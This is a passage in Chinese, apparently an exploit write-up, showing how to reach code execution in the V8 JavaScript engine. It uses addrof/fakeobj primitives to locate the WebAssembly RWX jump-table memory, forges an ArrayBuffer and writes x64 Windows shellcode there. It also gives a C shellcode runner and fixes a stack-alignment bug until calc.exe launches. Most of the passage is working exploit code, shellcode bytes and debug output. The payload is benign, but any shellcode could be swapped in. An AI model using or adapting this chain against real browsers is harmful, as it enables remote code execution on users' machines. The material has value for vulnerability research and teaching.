  • 调用 WASM 导出函数,触发 shellcode 执行

使用在线工具 WasmFiddle,获取 WASM 字节码。用下面的代码实例化 WASM 模块:

var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,0,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule);

在源码中符串搜索,可以找到找到了 WebAssembly 编译执行中用到的两个关键函数WebAssemblyModuleWebAssemblyInstance。调试这两个函数, 最后找到WasmInstanceObject 对象的 kJumpTableStartOffset (0x00000068) 偏移处存放了 RWX 内存区的地址。

读出 WasmInstanceObject 对象中存储的 RWX 内存区地址:

var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,0,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule);

%DebugPrint(wasmInstance);
instance_start = addrof(wasmInstance);
console.log(instance_start.toString(16));
instruction_ptr = instance_start + BigInt(0x68);
console.log(instruction_ptr.toString(16));
fake_fixed_array_ptr = instruction_ptr - BigInt(0x8)

buf_for_fake_arr = [1.1, 1.2]
// [double_array_map, props]
buf_for_fake_arr[0] = itof(make_qword(double_array_map, 0));
// [elems, len]
buf_for_fake_arr[1] = itof(make_qword(fake_fixed_array_ptr, 8 << 1));

start_ptr_of_fake_arr = addrof(buf_for_fake_arr) - BigInt(0x10);
instruction_ptr_reader = fakeobj(start_ptr_of_fake_arr);

console.log(ftoi(instruction_ptr_reader[0]).toString(16));

输出:

0x02f8081d4ba1 <Instance map = 000002F808206F61>
81d4ba1
81d4c09
be50a41000

伪造 ArrayBuffer,把 shellcode 拷贝到 be50a41000,再调用 WebAssembly 块导出的 main 函数,实际上执行的就是 shellcode 了。

用 0xCC 作为 shellcode 验证效果:

instruction_ptr = ftoi(instruction_ptr_reader[0]);
console.log(instruction_ptr.toString(16));

shellcode_zone = new Uint8Array(fake_array_buffer(instruction_ptr, 1));
shellcode_zone[0] = 0xcc;

wasmInstance.exports.main()

成功执行到0xCC,触发中断。

github 找了一个弹计算器的shellcode, 把 c 代码部分编译成 exe,然后后用 ida 提取出 shellcode。

毕竟是网上找的 shellcode,先单步调试一遍的,验证安全性。在数组开头加上 0xCC,便于调试。

shellcode_zone = new Uint8Array(fake_array_buffer(instruction_ptr, 1024));

shellcode_src = new Uint8Array([0xcc, 0x48, 0x31, 0xFF, 0x48, 0xF7, 0xE7, 0x65, 0x48, 0x8B, 0x58,
  0x60, 0x48, 0x8B, 0x5B, 0x18, 0x48, 0x8B, 0x5B, 0x20, 0x48,
  0x8B, 0x1B, 0x48, 0x8B, 0x1B, 0x48, 0x8B, 0x5B, 0x20, 0x49,
  0x89, 0xD8, 0x8B, 0x5B, 0x3C, 0x4C, 0x01, 0xC3, 0x48, 0x31,
  0xC9, 0x66, 0x81, 0xC1, 0xFF, 0x88, 0x48, 0xC1, 0xE9, 0x08,
  0x8B, 0x14, 0x0B, 0x4C, 0x01, 0xC2, 0x4D, 0x31, 0xD2, 0x44,
  0x8B, 0x52, 0x1C, 0x4D, 0x01, 0xC2, 0x4D, 0x31, 0xDB, 0x44,
  0x8B, 0x5A, 0x20, 0x4D, 0x01, 0xC3, 0x4D, 0x31, 0xE4, 0x44,
  0x8B, 0x62, 0x24, 0x4D, 0x01, 0xC4, 0xEB, 0x32, 0x5B, 0x59,
  0x48, 0x31, 0xC0, 0x48, 0x89, 0xE2, 0x51, 0x48, 0x8B, 0x0C,
  0x24, 0x48, 0x31, 0xFF, 0x41, 0x8B, 0x3C, 0x83, 0x4C, 0x01,
  0xC7, 0x48, 0x89, 0xD6, 0xF3, 0xA6, 0x74, 0x05, 0x48, 0xFF,
  0xC0, 0xEB, 0xE6, 0x59, 0x66, 0x41, 0x8B, 0x04, 0x44, 0x41,
  0x8B, 0x04, 0x82, 0x4C, 0x01, 0xC0, 0x53, 0xC3, 0x48, 0x31,
  0xC9, 0x80, 0xC1, 0x07, 0x48, 0xB8, 0x0F, 0xA8, 0x96, 0x91,
  0xBA, 0x87, 0x9A, 0x9C, 0x48, 0xF7, 0xD0, 0x48, 0xC1, 0xE8,
  0x08, 0x50, 0x51, 0xE8, 0xB0, 0xFF, 0xFF, 0xFF, 0x49, 0x89,
  0xC6, 0x48, 0x31, 0xC9, 0x48, 0xF7, 0xE1, 0x50, 0x48, 0xB8,
  0x9C, 0x9E, 0x93, 0x9C, 0xD1, 0x9A, 0x87, 0x9A, 0x48, 0xF7,
  0xD0, 0x50, 0x48, 0x89, 0xE1, 0x48, 0xFF, 0xC2, 0x48, 0x83,
  0xEC, 0x20, 0x41, 0xFF, 0xD6]);

for(let i = 0; i < shellcode_src.length; ++i) {
  shellcode_zone[i] = shellcode_src[i]
}
wasmInstance.exports.main()

调试一下确实发现了问题,不过并不是安全问题,是 WinExec 运行过程中发生了内存访问异常。

但是这个目的地址是可以访问的,这是什么新型攻击手法?仔细看下发现是因为 movqs 是一条 SIMD 指令,要求操作数的地址 16 字节对齐。

修改 shellcode 的源码,确保调用 WinExec 之前 rsp 是 16 字节对齐的:

// runShellcode.c
// C Shellcode Run Code referenced from reenz0h (twitter: @sektor7net)
#include <windows.h>
void main() {
  void* exec;
  BOOL rv;
  HANDLE th;
  DWORD oldprotect = 0;
  // Shellcode
  unsigned char payload[] =
    "\x48\x31\xff\x48\xf7\xe7\x65\x48\x8b\x58\x60\x48\x8b\x5b\x18\x48\x8b\x5b\x20\x48\x8b\x1b\x48\x8b\x1b\x48\x8b\x5b\x20\x49\x89\xd8\x8b"
    "\x5b\x3c\x4c\x01\xc3\x48\x31\xc9\x66\x81\xc1\xff\x88\x48\xc1\xe9\x08\x8b\x14\x0b\x4c\x01\xc2\x4d\x31\xd2\x44\x8b\x52\x1c\x4d\x01\xc2"
    "\x4d\x31\xdb\x44\x8b\x5a\x20\x4d\x01\xc3\x4d\x31\xe4\x44\x8b\x62\x24\x4d\x01\xc4\xeb\x32\x5b\x59\x48\x31\xc0\x48\x89\xe2\x51\x48\x8b"
    "\x0c\x24\x48\x31\xff\x41\x8b\x3c\x83\x4c\x01\xc7\x48\x89\xd6\xf3\xa6\x74\x05\x48\xff\xc0\xeb\xe6\x59\x66\x41\x8b\x04\x44\x41\x8b\x04"
    "\x82\x4c\x01\xc0\x53\xc3\x48\x31\xc9\x80\xc1\x07\x48\xb8\x0f\xa8\x96\x91\xba\x87\x9a\x9c\x48\xf7\xd0\x48\xc1\xe8\x08\x50\x51\xe8\xb0"
    "\xff\xff\xff\x49\x89\xc6\x48\x31\xc9\x48\xf7\xe1\x50\x48\xb8\x9c\x9e\x93\x9c\xd1\x9a\x87\x9a\x48\xf7\xd0\x50\x48\x89\xe1\x48\xff\xc2"
    "\x48\x83\xec\x30\x66\x81\xe4\xf0\xff\x41\xff\xd6";

  unsigned int payload_len = 205;
  exec = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
  RtlMoveMemory(exec, payload, payload_len);
  rv = VirtualProtect(exec, payload_len, PAGE_EXECUTE_READ, &oldprotect);
  th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)exec, 0, 0, 0);
  WaitForSingleObject(th, -1);
}
shellcode_src = new Uint8Array([0xcc,
 0x48, 0x31, 0xFF, 0x48, 0xF7, 0xE7, 0x65, 0x48, 0x8B, 0x58,
  0x60, 0x48, 0x8B, 0x5B, 0x18, 0x48, 0x8B, 0x5B, 0x20, 0x48,
  0x8B, 0x1B, 0x48, 0x8B, 0x1B, 0x48, 0x8B, 0x5B, 0x20, 0x49,
  0x89, 0xD8, 0x8B, 0x5B, 0x3C, 0x4C, 0x01, 0xC3, 0x48, 0x31,
  0xC9, 0x66, 0x81, 0xC1, 0xFF, 0x88, 0x48, 0xC1, 0xE9, 0x08,
  0x8B, 0x14, 0x0B, 0x4C, 0x01, 0xC2, 0x4D, 0x31, 0xD2, 0x44,
  0x8B, 0x52, 0x1C, 0x4D, 0x01, 0xC2, 0x4D, 0x31, 0xDB, 0x44,
  0x8B, 0x5A, 0x20, 0x4D, 0x01, 0xC3, 0x4D, 0x31, 0xE4, 0x44,
  0x8B, 0x62, 0x24, 0x4D, 0x01, 0xC4, 0xEB, 0x32, 0x5B, 0x59,
  0x48, 0x31, 0xC0, 0x48, 0x89, 0xE2, 0x51, 0x48, 0x8B, 0x0C,
  0x24, 0x48, 0x31, 0xFF, 0x41, 0x8B, 0x3C, 0x83, 0x4C, 0x01,
  0xC7, 0x48, 0x89, 0xD6, 0xF3, 0xA6, 0x74, 0x05, 0x48, 0xFF,
  0xC0, 0xEB, 0xE6, 0x59, 0x66, 0x41, 0x8B, 0x04, 0x44, 0x41,
  0x8B, 0x04, 0x82, 0x4C, 0x01, 0xC0, 0x53, 0xC3, 0x48, 0x31,
  0xC9, 0x80, 0xC1, 0x07, 0x48, 0xB8, 0x0F, 0xA8, 0x96, 0x91,
  0xBA, 0x87, 0x9A, 0x9C, 0x48, 0xF7, 0xD0, 0x48, 0xC1, 0xE8,
  0x08, 0x50, 0x51, 0xE8, 0xB0, 0xFF, 0xFF, 0xFF, 0x49, 0x89,
  0xC6, 0x48, 0x31, 0xC9, 0x48, 0xF7, 0xE1, 0x50, 0x48, 0xB8,
  0x9C, 0x9E, 0x93, 0x9C, 0xD1, 0x9A, 0x87, 0x9A, 0x48, 0xF7,
  0xD0, 0x50, 0x48, 0x89, 0xE1, 0x48, 0xFF, 0xC2, 0x48, 0x83,
  0xEC, 0x30, 0x66, 0x81, 0xE4, 0xF0, 0xFF, 0x41, 0xFF, 0xD6]);

改完以后终于看到了计算器。🎉